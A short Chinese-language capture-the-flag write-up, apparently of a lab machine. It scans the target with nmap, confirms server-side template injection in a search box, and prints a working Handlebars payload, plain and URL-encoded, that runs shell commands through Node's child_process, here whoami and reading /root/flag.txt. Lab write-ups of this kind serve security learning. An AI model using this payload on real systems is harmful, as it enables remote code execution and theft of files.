1.主机发现
nmap -v -sV -sC 10.129.249.138
开放了22端口和80端口
2.访问http服务
直接访问ip
有一个搜索框,根据提示,填入{{7*7}},结果如下
查了攻略后发现,该漏洞为server side template injection,即server端的模板注入
3.抓包
使用kali自带的bp,抓个包
直接打exp
{{#with"s"as|string|}} {{#with"e"}} {{#withsplitas|conslist|}} {{this.pop}} {{this.push (lookupstring.sub"constructor")}} {{this.pop}} {{#withstring.splitas|codelist|}} {{this.pop}} {{this.push"return require('child_process').exec('whoami');"}} {{this.pop}} {{#eachconslist}} {{#with (string.sub.apply0codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}
进行url编码
%7b%7b%23%77%69%74%68%22%73%22%61%73%7c%73%74%72%69%6e%67%7c%7d%7d%20%20%7b%7b%23%77%69%74%68%22%65%22%7d%7d%20%20%20%20%7b%7b%23%77%69%74%68%73%70%6c%69%74%61%73%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%73%74%72%69%6e%67%2e%73%75%62%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%20%20%20%20%20%20%7b%7b%23%77%69%74%68%73%74%72%69%6e%67%2e%73%70%6c%69%74%61%73%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%63%6f%6e%73%6c%69%73%74%7d%7d%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%30%63%6f%64%65%6c%69%73%74%29%7d%7d%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%20%20%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d
当然也可以直接在搜索框进行,这样更方便
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat
/root/flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
关键代码就是require之后的内容,这样可以直接读出flag的值,再查看源代码即可
关于详细的解释,还是直接看官方walk through比较好